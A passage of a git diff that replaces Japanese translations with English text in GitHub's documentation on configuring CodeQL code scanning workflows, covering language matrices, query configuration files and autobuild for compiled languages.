%}は、自動的にサポートする言語で書かれたコードを検出します。 +{% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} automatically detects code written in the supported languages. {% data reusables.code-scanning.codeql-languages-bullets %} -デフォルトの{% data variables.product.prodname_codeql_workflow %}ファイルには、分析されたリポジトリ中の言語がリストされた`language`というビルドマトリクスが含まれます。 {% data variables.product.prodname_codeql %}は、{% data variables.product.prodname_code_scanning %}がリポジトリに追加されたときにこのマトリクスを自動的に作成します。 `language`マトリクスを使うことで、{% data variables.product.prodname_codeql %}が各分析を並列に実行するよう最適化されます。 並列ビルドのパフォーマンスのメリットから、すべてのワークフローはこの設定を採用することをおすすめします。 ビルドマトリクスに関する詳しい情報については「[複雑なワークフローの管理](/actions/learn-github-actions/managing-complex-workflows#using-a-build-matrix)」を参照してください。 +The default {% data variables.product.prodname_codeql_workflow %} file contains a build matrix called `language` which lists the languages in your repository that are analyzed. {% data variables.product.prodname_codeql %} automatically populates this matrix when you add {% data variables.product.prodname_code_scanning %} to a repository. Using the `language` matrix optimizes {% data variables.product.prodname_codeql %} to run each analysis in parallel. We recommend that all workflows adopt this configuration due to the performance benefits of parallelizing builds. For more information about build matrices, see "[Managing complex workflows](/actions/learn-github-actions/managing-complex-workflows#using-a-build-matrix)." {% data reusables.code-scanning.specify-language-to-analyze %} -ワークフローが`language`マトリクスを使っているなら、{% data variables.product.prodname_codeql %}はマトリクス中の言語だけを分析するようにハードコードされています。 分析する言語を変更したいなら、マトリクス変数の値を編集してください。 解析されないように言語を削除したり、{% data variables.product.prodname_code_scanning %}をセットアップしたときにはリポジトリ中になかった言語を追加したりできます。 たとえば、{% data variables.product.prodname_code_scanning %}がセットアップされた初期にはリポジトリ中にJavaScriptしかなく、後からPythonのコードを追加したなら、マトリクスに`python`を追加する必要があるだけです。 +If your workflow uses the `language` matrix then {% data variables.product.prodname_codeql %} is hardcoded to analyze only the languages in the matrix. To change the languages you want to analyze, edit the value of the matrix variable. You can remove a language to prevent it being analyzed or you can add a language that was not present in the repository when {% data variables.product.prodname_code_scanning %} was set up. For example, if the repository initially only contained JavaScript when {% data variables.product.prodname_code_scanning %} was set up, and you later added Python code, you will need to add `python` to the matrix. ```yaml jobs: @@ -216,7 +217,7 @@ jobs: language: ['javascript', 'python'] ``` -ワークフローが`language`というマトリクスを含まないなら、{% data variables.product.prodname_codeql %}は分析を順次実行するように設定されます。 ワークフロー中で言語を指定していない場合、{% data variables.product.prodname_codeql %}はリポジトリ中のサポートされている言語を検出し、分析しようとします。 マトリクスを使わずに分析する言語を選択したい場合は、`init`アクションの下で`languages`パラメータが利用できます。 +If your workflow does not contain a matrix called `language`, then {% data variables.product.prodname_codeql %} is configured to run analysis sequentially. If you don't specify languages in the workflow, {% data variables.product.prodname_codeql %} automatically detects, and attempts to analyze, any supported languages in the repository. If you want to choose which languages to analyze, without using a matrix, you can use the `languages` parameter under the `init` action. ```yaml - uses: github/codeql-action/init@v1 @@ -224,15 +225,15 @@ jobs: languages: cpp, csharp, python ``` {% ifversion fpt or ghec %} -## 追加のクエリを実行する +## Analyzing Python dependencies -Linuxだけを使うGitHubがホストしているランナーでは、{% data variables.product.prodname_codeql_workflow %}はCodeQLの分析にさらなる結果を加えるためにPythonの依存関係を自動的にインストールしようとします。 この動作は、"Initialize CodeQL"ステップで呼ばれるアクションの`setup-python-dependencies`パラメータを指定して制御できます。 デフォルトでは、このパラメータは`true`に設定されます: +For GitHub-hosted runners that use Linux only, the {% data variables.product.prodname_codeql_workflow %} will try to auto-install Python dependencies to give more results for the CodeQL analysis. You can control this behavior by specifying the `setup-python-dependencies` parameter for the action called by the "Initialize CodeQL" step. By default, this parameter is set to `true`: -- リポジトリがPythonで書かれたコードを含むなら、"Initialize CodeQL"ステップは必要な依存関係をGitHubがホストするランナーにインストールします。 自動インストールが成功したら、このアクションは環境変数の`CODEQL_PYTHON`を依存関係を含むPythonの実行可能ファイルに設定することもします。 +- If the repository contains code written in Python, the "Initialize CodeQL" step installs the necessary dependencies on the GitHub-hosted runner. If the auto-install succeeds, the action also sets the environment variable `CODEQL_PYTHON` to the Python executable file that includes the dependencies. -- リポジトリがPythonの依存関係を持たない場合、あるいは依存関係が予想外の方法で指定されている場合、警告が示されてアクションは残りのジョブを継続します。 依存関係の解釈に問題があってもアクションの実行は成功することがありますが、結果は不完全かも知れません。 +- If the repository doesn't have any Python dependencies, or the dependencies are specified in an unexpected way, you'll get a warning and the action will continue with the remaining jobs. The action can run successfully even when there are problems interpreting dependencies, but the results may be incomplete. -あるいは、任意のオペレーティングシステムにおいて手動でPythonの依存関係をインストールできます。 以下のワークフローの抜粋に示すとおり、`setup-python-dependencies`を追加して`false`に設定するとともに、`CODEQL_PYTHON`を依存関係を含むPythonの実行可能ファイルに設定しなければなりません。 +Alternatively, you can install Python dependencies manually on any operating system. You will need to add `setup-python-dependencies` and set it to `false`, as well as set `CODEQL_PYTHON` to the Python executable that includes the dependencies, as shown in this workflow extract: ```yaml jobs: @@ -269,11 +270,11 @@ jobs: {% endif %} {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -## 分析のカテゴリの設定 +## Configuring a category for the analysis -`category`を使って、同じツールやコミットに対して行われる、ただし様々な言語やコードの様々な部分に対して行われる複数の分析を区別してください。 ワークフロー中で指定したカテゴリは、SARIF結果ファイルに含まれます。 +Use `category` to distinguish between multiple analyses for the same tool and commit, but performed on different languages or different parts of the code. The category you specify in your workflow will be included in the SARIF results file. -このパラメータは、特に単一リポジトリで作業をしていて、単一リポジトリの様々なコンポーネントに対して複数のSARIFファイルがある場合に有益です。 +This parameter is particularly useful if you work with monorepos and have multiple SARIF files for different components of the monorepo. {% raw %} ``` yaml @@ -287,17 +288,17 @@ jobs: ``` {% endraw %} -ワークフローで`category`を指定しない場合、{% data variables.product.product_name %}はアクションをトリガーしたワークフロー名、アクション名、任意のマトリクス変数に基づいてカテゴリ名を生成します。 例: -- `.github/workflows/codeql-analysis.yml`ワークフローと`analyze`アクションは、`.github/workflows/codeql.yml:analyze`というカテゴリを生成します。 -- `.github/workflows/codeql-analysis.yml`ワークフロー、`analyze`アクション、マトリクス変数`{language: javascript, os: linux}`は、`.github/workflows/codeql-analysis.yml:analyze/language:javascript/os:linux`というカテゴリを生成します。 +If you don't specify a `category` parameter in your workflow, {% data variables.product.product_name %} will generate a category name for you, based on the name of the workflow file triggering the action, the action name, and any matrix variables. For example: +- The `.github/workflows/codeql-analysis.yml` workflow and the `analyze` action will produce the category `.github/workflows/codeql.yml:analyze`. +- The `.github/workflows/codeql-analysis.yml` workflow, the `analyze` action, and the `{language: javascript, os: linux}` matrix variables will produce the category `.github/workflows/codeql-analysis.yml:analyze/language:javascript/os:linux`. -`category`の値は、SARIF v2.1.0で<run>.automationDetails.idプロパティに現れます。 詳しい情報については「[{% data variables.product.prodname_code_scanning %}の SARIF サポート](/code-security/secure-coding/sarif-support-for-code-scanning#runautomationdetails-object)」を参照してください。 +The `category` value will appear as the `.automationDetails.id` property in SARIF v2.1.0. For more information, see "[SARIF support for {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning#runautomationdetails-object)." -指定したカテゴリは、SARIFファイルファイルに`runAutomationDetails`が含まれている場合、その詳細を上書きしません。 +Your specified category will not overwrite the details of the `runAutomationDetails` object in the SARIF file, if included. {% endif %} -## 追加のクエリを実行する +## Running additional queries {% data reusables.code-scanning.run-additional-queries %} @@ -327,7 +328,7 @@ In the example below, `scope` is the organization or personal account that publi ### Using queries in QL packs {% endif %} -1つ以上のクエリスイートを追加するには、設定ファイルに `queries` セクションを追加します。 If the queries are in a private repository, use the `external-repository-token` parameter to specify a token that has access to checkout the private repository. +To add one or more queries, add a `with: queries:` entry within the `uses: github/codeql-action/init@v1` section of the workflow. If the queries are in a private repository, use the `external-repository-token` parameter to specify a token that has access to checkout the private repository. {% raw %} ``` yaml @@ -339,7 +340,7 @@ In the example below, `scope` is the organization or personal account that publi ``` {% endraw %} -設定ファイルでこれらを指定して、追加のクエリスイートを実行することもできます。 クエリスイートはクエリのコレクションであり、通常は目的または言語ごとにグループ化されています。 +You can also specify query suites in the value of `queries`. Query suites are collections of queries, usually grouped by purpose or language. {% data reusables.code-scanning.codeql-query-suites %} @@ -347,7 +348,7 @@ In the example below, `scope` is the organization or personal account that publi ### Working with custom configuration files {% endif %} -If you also use a configuration file for custom settings, any additional {% if codeql-packs %}packs or {% endif %}queries specified in your workflow are used instead of those specified in the configuration file. If you want to run the combined set of additional {% if codeql-packs %}packs or {% endif %}queries, prefix the value of {% if codeql-packs %}`packs` or {% endif %}`queries` in the workflow with the `+` symbol. 設定ファイルの例については、「[Example configuration files](#example-configuration-files)」を参照してください。 +If you also use a configuration file for custom settings, any additional {% if codeql-packs %}packs or {% endif %}queries specified in your workflow are used instead of those specified in the configuration file. If you want to run the combined set of additional {% if codeql-packs %}packs or {% endif %}queries, prefix the value of {% if codeql-packs %}`packs` or {% endif %}`queries` in the workflow with the `+` symbol. For more information, see "[Using a custom configuration file](#using-a-custom-configuration-file)." In the following example, the `+` symbol ensures that the specified additional {% if codeql-packs %}packs and {% endif %}queries are used together with any specified in the referenced configuration file. @@ -361,11 +362,11 @@ In the following example, the `+` symbol ensures that the specified additional { {% endif %} ``` -## サードパーティのコードスキャンツールを使用する +## Using a custom configuration file A custom configuration file is an alternative way to specify additional {% if codeql-packs %}packs and {% endif %}queries to run. You can also use the file to disable the default queries and to specify which directories to scan during analysis. -ワークフローファイル中では、`init`アクションの`config-file`パラメータを使って使用したい設定ファイルのパスを指定してください。 この例では、設定ファイル _./.github/codeql/codeql-config.yml_ を読み込みます。 +In the workflow file, use the `config-file` parameter of the `init` action to specify the path to the configuration file you want to use. This example loads the configuration file _./.github/codeql/codeql-config.yml_. ``` yaml - uses: github/codeql-action/init@v1 @@ -375,7 +376,7 @@ A custom configuration file is an alternative way to specify additional {% if co {% data reusables.code-scanning.custom-configuration-file %} -設定ファイルが外部のプライベートリポジトリにあるなら、`init`アクションの`external-repository-token` パラメータを使ってそのプライベートリポジトリにアクセスできるトークンを指定してください。 +If the configuration file is located in an external private repository, use the `external-repository-token` parameter of the `init` action to specify a token that has access to the private repository. {% raw %} ```yaml @@ -385,7 +386,7 @@ A custom configuration file is an alternative way to specify additional {% if co ``` {% endraw %} -設定ファイル内の設定は、YAMLフォーマットで書かれます。 +The settings in the configuration file are written in YAML format. {% if codeql-packs %} ### Specifying {% data variables.product.prodname_codeql %} query packs @@ -423,9 +424,9 @@ packs: {% endraw %} {% endif %} -### 追加のクエリを指定する +### Specifying additional queries -追加のクエリは`queries`配列内で指定します。 この配列の各要素には、1つのクエリファイル、クエリファイルを含むディレクトリ、あるいはクエリスイートの定義ファイルを指定する値を持つ`uses`パラメータが含まれます。 +You specify additional queries in a `queries` array. Each element of the array contains a `uses` parameter with a value that identifies a single query file, a directory containing query files, or a query suite definition file. ``` yaml queries: @@ -434,15 +435,15 @@ queries: - uses: ./query-suites/my-security-queries.qls ``` -あるいは、以下の設定ファイルの例にあるように、配列の各要素に名前を与えることもできます。 追加クエリに関する詳しい情報については、上の「[追加のクエリを実行する](#running-additional-queries)」を参照してください。 +Optionally, you can give each array element a name, as shown in the example configuration files below. For more information about additional queries, see "[Running additional queries](#running-additional-queries)" above. -### デフォルトのクエリを無効にする +### Disabling the default queries -カスタムクエリのみを実行する場合は、構成ファイルに `disable-default-queries: true` を追加して、デフォルトのセキュリティクエリを無効にすることができます。 +If you only want to run custom queries, you can disable the default security queries by using `disable-default-queries: true`. -### スキャンするディレクトリを指定する +### Specifying directories to scan -For the interpreted languages that {% data variables.product.prodname_codeql %} supports (Python{% ifversion fpt or ghes > 3.3 or ghae-issue-5017 %}, Ruby{% endif %} and JavaScript/TypeScript), you can restrict {% data variables.product.prodname_code_scanning %} to files in specific directories by adding a `paths` array to the configuration file. `paths-ignore`配列を追加することで、指定されたディレクトリ内のファイルを分析から除外できます。 +For the interpreted languages that {% data variables.product.prodname_codeql %} supports (Python{% ifversion fpt or ghes > 3.3 or ghae-issue-5017 %}, Ruby{% endif %} and JavaScript/TypeScript), you can restrict {% data variables.product.prodname_code_scanning %} to files in specific directories by adding a `paths` array to the configuration file. You can exclude the files in specific directories from analysis by adding a `paths-ignore` array. ``` yaml paths: @@ -454,28 +455,28 @@ paths-ignore: {% note %} -**ノート**: +**Note**: -* {% data variables.product.prodname_code_scanning %} 設定ファイルのコンテキストで使用される `paths` および `paths-ignore` キーワードは、ワークフロー中で`on..paths`に使われる同じキーワードと混同しないでください。 ワークフローの`on.`を変更するときに使用する場合、これらは指定されたディレクトリのコードを誰かが変更した時にアクションが実行されるかどうかを決定します。 詳細については、「[{% data variables.product.prodname_actions %}のワークフロー構文](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpaths)」を参照してください。 -* フィルタパターンキャラクタの`?`、`+`、`[`、`]`、`!`はサポートされておらず、そのままマッチします。 -* `**` **Note**: `**` characters can only be at the start or end of a line, or surrounded by slashes, and you can't mix `**` and other characters. たとえば、`foo/**`、`**/foo`、および `foo/**/bar` はすべて使用できる構文ですが、`**foo` は使用できません。 ただし、例に示すように、単一の * を他の文字と一緒に使用できます。 `*`キャラクタを含むものは、引用符で囲む必要があります。 +* The `paths` and `paths-ignore` keywords, used in the context of the {% data variables.product.prodname_code_scanning %} configuration file, should not be confused with the same keywords when used for `on..paths` in a workflow. When they are used to modify `on.` in a workflow, they determine whether the actions will be run when someone modifies code in the specified directories. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpaths)." +* The filter pattern characters `?`, `+`, `[`, `]`, and `!` are not supported and will be matched literally. +* `**` characters can only be at the start or end of a line, or surrounded by slashes, and you can't mix `**` and other characters. For example, `foo/**`, `**/foo`, and `foo/**/bar` are all allowed syntax, but `**foo` isn't. However you can use single stars along with other characters, as shown in the example. You'll need to quote anything that contains a `*` character. {% endnote %} -コンパイル言語の場合、プロジェクト中の特定のディレクトリに{% data variables.product.prodname_code_scanning %}を限定したいなら、ワークフロー中で適切なビルドステップを指定しなければなりません。 ビルドからディレクトリを除外するために使用するコマンドは、ビルドシステムによって異なります。 詳しい情報については、「[コンパイル型言語の {% data variables.product.prodname_codeql %} ワークフローを設定する](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)」を参照してください。 +For compiled languages, if you want to limit {% data variables.product.prodname_code_scanning %} to specific directories in your project, you must specify appropriate build steps in the workflow. The commands you need to use to exclude a directory from the build will depend on your build system. For more information, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)." -特定のディレクトリのコードを変更すると、monorepo の一部をすばやく分析できます。 ビルドステップでディレクトリを除外し、ワークフローファイルで [`on.`](https://help.github.com/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpaths) の`paths-ignore` および `paths` キーワードを使用する必要があります。 +You can quickly analyze small portions of a monorepo when you modify code in specific directories. You'll need to both exclude directories in your build steps and use the `paths-ignore` and `paths` keywords for [`on.`](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpaths) in your workflow. -### 設定ファイルの例 +### Example configuration files {% data reusables.code-scanning.example-configuration-files %} -## コンパイルされた言語の {% data variables.product.prodname_code_scanning %} を設定する +## Configuring {% data variables.product.prodname_code_scanning %} for compiled languages {% data reusables.code-scanning.autobuild-compiled-languages %} {% data reusables.code-scanning.analyze-go %} -{% data reusables.code-scanning.autobuild-add-build-steps %}コンパイルされた言語で {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} を設定する方法に関する詳しい情報については、「[コンパイルされた言語の {% data variables.product.prodname_codeql %} を設定する](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages)」を参照してください。 +{% data reusables.code-scanning.autobuild-add-build-steps %} For more information about how to configure {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} for compiled languages, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages)." -## {% data variables.product.prodname_code_scanning %} 用の設定ファイルを作成できます。 +## Uploading {% data variables.product.prodname_code_scanning %} data to {% data variables.product.prodname_dotcom %} -{% data variables.product.prodname_dotcom %}は、サードパーティのツールによって外部で生成されたコード分析データを表示できます。 ワークフローに `upload-sarif` アクションを追加することで、{% data variables.product.prodname_dotcom %} のサードパーティツールからのコード分析を表示できます。 詳しい情報については、「[SARIF ファイルを GitHub にアップロードする](/code-security/secure-coding/uploading-a-sarif-file-to-github)」を参照してください。 +{% data variables.product.prodname_dotcom %} can display code analysis data generated externally by a third-party tool. You can upload code analysis data with the `upload-sarif` action. For more information, see "[Uploading a SARIF file to GitHub](/code-security/secure-coding/uploading-a-sarif-file-to-github)." diff --git a/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md b/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md index 05e565fc3a..a54f0f60be 100644 --- a/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md +++ b/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md @@ -1,7 +1,7 @@ --- -title: コンパイル型言語で用いる CodeQL のワークフローを設定する -shortTitle: コンパイル言語の設定 -intro: '{% data variables.product.prodname_dotcom %} が {% data variables.product.prodname_codeql_workflow %} を使用してコンパイル型言語で記述されたコードの脆弱性やエラーをスキャンする方法を設定できます。' +title: Configuring the CodeQL workflow for compiled languages +shortTitle: Configure compiled languages +intro: 'You can configure how {% data variables.product.prodname_dotcom %} uses the {% data variables.product.prodname_codeql_workflow %} to scan code written in compiled languages for vulnerabilities and errors.' product: '{% data reusables.gated-features.code-scanning %}' permissions: 'If you have write permissions to a repository, you can configure {% data variables.product.prodname_code_scanning %} for that repository.' redirect_from: @@ -26,85 +26,86 @@ topics: - C# - Java --- - {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning-actions %} -## {% data variables.product.prodname_codeql_workflow %} とコンパイル型言語について +## About the {% data variables.product.prodname_codeql_workflow %} and compiled languages -{% data variables.product.prodname_dotcom %} がリポジトリに対して {% data variables.product.prodname_code_scanning %} を実行できるようにするには、{% data variables.product.prodname_actions %} ワークフローをリポジトリに追加します。 **Note**: This article refers to {% data variables.product.prodname_code_scanning %} powered by {% data variables.product.prodname_codeql %}, not to {% data variables.product.prodname_code_scanning %} resulting from the upload of third-party static analysis tools. 詳しい情報については、「[リポジトリに対する {% data variables.product.prodname_code_scanning %} をセットアップする](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)」を参照してください。 +You set up {% data variables.product.prodname_dotcom %} to run {% data variables.product.prodname_code_scanning %} for your repository by adding a {% data variables.product.prodname_actions %} workflow to the repository. For {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}, you add the {% data variables.product.prodname_codeql_workflow %}. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)." -{% data reusables.code-scanning.edit-workflow %} -{% data variables.product.prodname_code_scanning %}の設定とワークフローファイルの編集に関する一般的な情報については、「[{% data variables.product.prodname_code_scanning %}の設定](/code-security/secure-coding/configuring-code-scanning)」及び「[{% data variables.product.prodname_actions %}を学ぶ](/actions/learn-github-actions)」を参照してください。 +{% data reusables.code-scanning.edit-workflow %} +For general information about configuring {% data variables.product.prodname_code_scanning %} and editing workflow files, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)" and "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." -## {% data variables.product.prodname_codeql %} の autobuild について +## About autobuild for {% data variables.product.prodname_codeql %} -コードスキャンは、1 つ以上のデータベースに対してクエリを実行することにより機能します。 各データベースには、リポジトリにあるすべてのコードを 1 つの言語で表わしたものが含まれています。 コンパイル型言語の C/C++、C#、および Java では、このデータベースを生成するプロセスに、コードのビルドとデータの抽出が含まれています。 {% data reusables.code-scanning.analyze-go %} +Code scanning works by running queries against one or more databases. Each database contains a representation of all of the code in a single language in your repository. For the compiled languages C/C++, C#, and Java, the process of populating this database involves building the code and extracting data. {% data reusables.code-scanning.analyze-go %} {% data reusables.code-scanning.autobuild-compiled-languages %} -ワークフローが `language` マトリクスを使用している場合、`autobuild` はマトリクスに列記された各コンパイル型言語のビルドを試行します。 マトリクスがない場合、`autobuild` はリポジトリ内でソースファイルの数が最も多い、サポートされているコンパイル型言語のビルドを試行します。 Go を除いて、明示的にビルドコマンドを使用しない限り、リポジトリにある他のコンパイル型言語の解析は失敗します。 +If your workflow uses a `language` matrix, `autobuild` attempts to build each of the compiled languages listed in the matrix. Without a matrix `autobuild` attempts to build the supported compiled language that has the most source files in the repository. With the exception of Go, analysis of other compiled languages in your repository will fail unless you supply explicit build commands. {% note %} -{% ifversion ghae %}**ノート**: {% data variables.actions.hosted_runner %} に必要なソフトウェアがインストールされていることを確認する方法については、「[カスタムイメージの作成](/actions/using-github-hosted-runners/creating-custom-images)」を参照してください。 +{% ifversion ghae %}**Note**: For instructions on how to make sure your {% data variables.actions.hosted_runner %} has the required software installed, see "[Creating custom images](/actions/using-github-hosted-runners/creating-custom-images)." {% else %} -**注釈**: {% data variables.product.prodname_actions %} にセルフホストランナーを使用する場合、`autobuild` プロセスを使用するために追加のソフトウェアをインストールする必要がある場合があります。 さらに、リポジトリに特定のバージョンのビルドツールが必要な場合は、手動でインストールする必要があります。 詳しい情報については、「[{% data variables.product.prodname_dotcom %} ホストランナーの仕様](/actions/reference/specifications-for-github-hosted-runners/#supported-software)」を参照してください。 +**Note**: If you use self-hosted runners for {% data variables.product.prodname_actions %}, you may need to install additional software to use the `autobuild` process. Additionally, if your repository requires a specific version of a build tool, you may need to install it manually. For more information, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)". {% endif %} {% endnote %} ### C/C++ -| サポートされているシステムの種類 | システム名 | -| ---------------- | --------------------------------------------------------------------------------------------------------------------------- | -| オペレーティングシステム | Windows、macOS、Linux | -| ビルドシステム | Windows: MSbuild およびビルドスクリプト
                    Linux および macOS: Autoconf、Make、CMake、qmake、 Meson、Waf、SCons、Linux Kbuild、およびビルドスクリプト | +| Supported system type | System name | +|----|----| +| Operating system | Windows, macOS, and Linux | +| Build system | Windows: MSbuild and build scripts
                    Linux and macOS: Autoconf, Make, CMake, qmake, Meson, Waf, SCons, Linux Kbuild, and build scripts | -`autobuild` ステップの動作は、抽出を実行するオペレーティングシステムによって異なります。 Windowsでは、`autobuild`ステップは以下のアプローチを使ってC/C++のための適切なビルド方法を自動検出しようとします。 +The behavior of the `autobuild` step varies according to the operating system that the extraction runs on. On Windows, the `autobuild` step attempts to autodetect a suitable build method for C/C++ using the following approach: -1. ルートに最も近いソリューション (`.sln`) またはプロジェクト (`.vcxproj`) ファイルで `MSBuild.exe` を呼び出します。 `autobuild` が最上位ディレクトリから同じ（最短）深度で複数のソリューションまたはプロジェクトファイルを検出した場合、それらすべてをビルドしようとします。 -2. ビルドスクリプトのように見えるスクリプト、つまり _build.bat_、_build.cmd_、_および build.exe_ を、この順番で呼び出します。 +1. Invoke `MSBuild.exe` on the solution (`.sln`) or project (`.vcxproj`) file closest to the root. +If `autobuild` detects multiple solution or project files at the same (shortest) depth from the top level directory, it will attempt to build all of them. +2. Invoke a script that looks like a build script—_build.bat_, _build.cmd_, _and build.exe_ (in that order). -LinuxとmacOSでは、`autobuild`ステップはリポジトリ中にあるファイルをレビューして、使用されているビルドシステムを判断します。 +On Linux and macOS, the `autobuild` step reviews the files present in the repository to determine the build system used: -1. ルートディレクトリでビルドシステムを探します。 -2. 何も見つからない場合は、C/C++ のビルドシステムで一意のディレクトリをサブディレクトリで検索します。 -3. 適切なコマンドを実行してシステムを設定します。 +1. Look for a build system in the root directory. +2. If none are found, search subdirectories for a unique directory with a build system for C/C++. +3. Run an appropriate command to configure the system. -### C +### C# -| サポートされているシステムの種類 | システム名 | -| ---------------- | -------------------------- | -| オペレーティングシステム | Windows、Linux | -| ビルドシステム | .NET と MSbuild、およびビルドスクリプト | +| Supported system type | System name | +|----|----| +| Operating system | Windows and Linux | +| Build system | .NET and MSbuild, as well as build scripts | -`autobuild` プロセスは、次のアプローチを使用して C# に適したビルドメソッドを自動検出しようとします。 +The `autobuild` process attempts to autodetect a suitable build method for C# using the following approach: -1. ルートに最も近いソリューション（`.sln`）またはプロジェクト（`.csproj`）ファイルで `dotnet build` を呼び出します。 -2. ルートに最も近いソリューションまたはプロジェクトファイルで `MSbuild`（Linux）または `MSBuild.exe`（Windows）を呼び出します。 `autobuild` が最上位ディレクトリから同じ（最短）深度で複数のソリューションまたはプロジェクトファイルを検出した場合、それらすべてをビルドしようとします。 -3. ビルドスクリプトのように見えるスクリプト、つまり _build_ と _build.sh_（Linux の場合、この順序で）または _build.bat_、_build.cmd_、および _build.exe_（Windows の場合、この順序で）を呼び出します。 +1. Invoke `dotnet build` on the solution (`.sln`) or project (`.csproj`) file closest to the root. +2. Invoke `MSbuild` (Linux) or `MSBuild.exe` (Windows) on the solution or project file closest to the root. +If `autobuild` detects multiple solution or project files at the same (shortest) depth from the top level directory, it will attempt to build all of them. +3. Invoke a script that looks like a build script—_build_ and _build.sh_ (in that order, for Linux) or _build.bat_, _build.cmd_, _and build.exe_ (in that order, for Windows). ### Java -| サポートされているシステムの種類 | システム名 | -| ---------------- | -------------------------- | -| オペレーティングシステム | Windows、macOS、Linux (制限なし) | -| ビルドシステム | Gradle、Maven、Ant | +| Supported system type | System name | +|----|----| +| Operating system | Windows, macOS, and Linux (no restriction) | +| Build system | Gradle, Maven and Ant | -`autobuild` プロセスは、この戦略を適用して Java コードベースのビルドシステムを決定しようとします。 +The `autobuild` process tries to determine the build system for Java codebases by applying this strategy: -1. ルートディレクトリでビルドファイルを検索します。 Gradle、Maven、Ant の各ビルドファイルを確認します。 -2. 最初に見つかったビルドファイルを実行します。 Gradle ファイルと Maven ファイルの両方が存在する場合は、Gradle ファイルが使用されます。 -3. それ以外の場合は、ルートディレクトリの直接サブディレクトリ内でビルドファイルを検索します。 1 つのサブディレクトリにのみビルドファイルが含まれている場合は、そのサブディレクトリで識別された最初のファイルを実行します（1 と同じ環境設定を使用）。 複数のサブディレクトリにビルドファイルが含まれている場合は、エラーを報告します。 +1. Search for a build file in the root directory. Check for Gradle then Maven then Ant build files. +2. Run the first build file found. If both Gradle and Maven files are present, the Gradle file is used. +3. Otherwise, search for build files in direct subdirectories of the root directory. If only one subdirectory contains build files, run the first file identified in that subdirectory (using the same preference as for 1). If more than one subdirectory contains build files, report an error. -## コンパイル言語のビルドステップを追加する +## Adding build steps for a compiled language -{% data reusables.code-scanning.autobuild-add-build-steps %}ワークフローファイルの編集方法については、「[{% data variables.product.prodname_code_scanning %} を設定する](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)」を参照してください。 +{% data reusables.code-scanning.autobuild-add-build-steps %} For information on how to edit the workflow file, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)." -`autobuild` ステップを削除した後、`run` ステップのコメントを外して、リポジトリに適したビルドコマンドを追加します。 ワークフロー `run` ステップは、オペレーティングシステムのシェルを使用してコマンドラインプログラムを実行します。 これらのコマンドを変更し、さらにコマンドを追加して、ビルドプロセスをカスタマイズできます。 +After removing the `autobuild` step, uncomment the `run` step and add build commands that are suitable for your repository. The workflow `run` step runs command-line programs using the operating system's shell. You can modify these commands and add more commands to customize the build process. ``` yaml - run: | @@ -112,9 +113,9 @@ LinuxとmacOSでは、`autobuild`ステップはリポジトリ中にあるフ make release ``` -`run` キーワードに関する詳しい情報については、「"[{% data variables.product.prodname_actions %}のためのワークフローの構文](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)」を参照してください。 +For more information about the `run` keyword, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)." -複数のコンパイル言語を含むリポジトリでは、言語に固有のビルドコマンドを指定できます。 たとえば、リポジトリがC/C++、C#、Javaを含んでおり、`autobuild`が正しくC/C++をビルドするもののJavaのビルドには失敗するなら、`init`ステップ後にワークフロー中で以下の設定を利用できるでしょう。 これは、引き続きC/C++とC#に`autobuild`を使いながら、Javaにはビルドステップを指定します。 +If your repository contains multiple compiled languages, you can specify language-specific build commands. For example, if your repository contains C/C++, C# and Java, and `autobuild` correctly builds C/C++ and C# but fails to build Java, you could use the following configuration in your workflow, after the `init` step. This specifies build steps for Java while still using `autobuild` for C/C++ and C#: ```yaml - if: matrix.language == 'cpp' || matrix.language == 'csharp' @@ -128,8 +129,8 @@ LinuxとmacOSでは、`autobuild`ステップはリポジトリ中にあるフ make release ``` -`if`条件演算子に関する詳しい情報については「[GitHub Actionsのワークフロー構文](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsif)」を参照してください。 +For more information about the `if` conditional, see "[Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsif)." -`autobuild` がコードをビルドしない理由に関するヒントやビルドの方法については、「[{% data variables.product.prodname_codeql %} 